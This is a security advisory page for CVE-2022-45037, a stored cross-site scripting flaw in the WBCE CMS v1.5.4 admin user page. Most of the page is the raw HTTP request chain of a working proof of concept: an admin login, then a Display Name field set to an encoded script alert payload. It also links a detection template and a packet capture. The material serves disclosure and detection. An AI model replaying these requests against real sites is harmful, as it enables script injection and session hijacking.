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CVE-2022-45037: WBCE CMS v1.5.4 - Cross Site Scripting (Stored)

TitleWBCE CMS v1.5.4 - Cross Site Scripting (Stored)
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpgrade to the latest version of WBCE CMS or apply the necessary patches provided by the vendor to fix the Cross Site Scripting vulnerability.
CVSS Score5.4
EPSS Score0.21323
CVE IDCVE-2022-45037
CWE IDCWE-79
Tags cve cve2022 xss wbce cms authenticated vuln

🔍 Vulnerability Description

A cross-site scripting (XSS) vulnerability in /admin/users/index.php of WBCE CMS v1.5.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Display Name field.

🌐 HTTP Request

GET /admin/login/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /admin/login/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

url=&username_fieldname=4Uv3Op&password_fieldname=TDxk4y&4Uv3Op=Bg4Hjw&TDxk4y=s3BItk&submit=Login
GET /admin/users/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Connection: close
Accept-Encoding: gzip
POST /admin/users/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0
Connection: close
Content-Length: 303
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

formtoken=4zEGp6&user_id=&username_fieldname=Z4B6Lr&Z4B6Lr=test-38FDnDqMyE237AFqAuFTla4Gm52&password=38FDnDqMyE237AFqAuFTla4Gm52&password2=&display_name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=38FDnDqMyE237AFqAuFTla4Gm52%40gmail.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit=
GET /admin/users/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-45037.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-45037.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A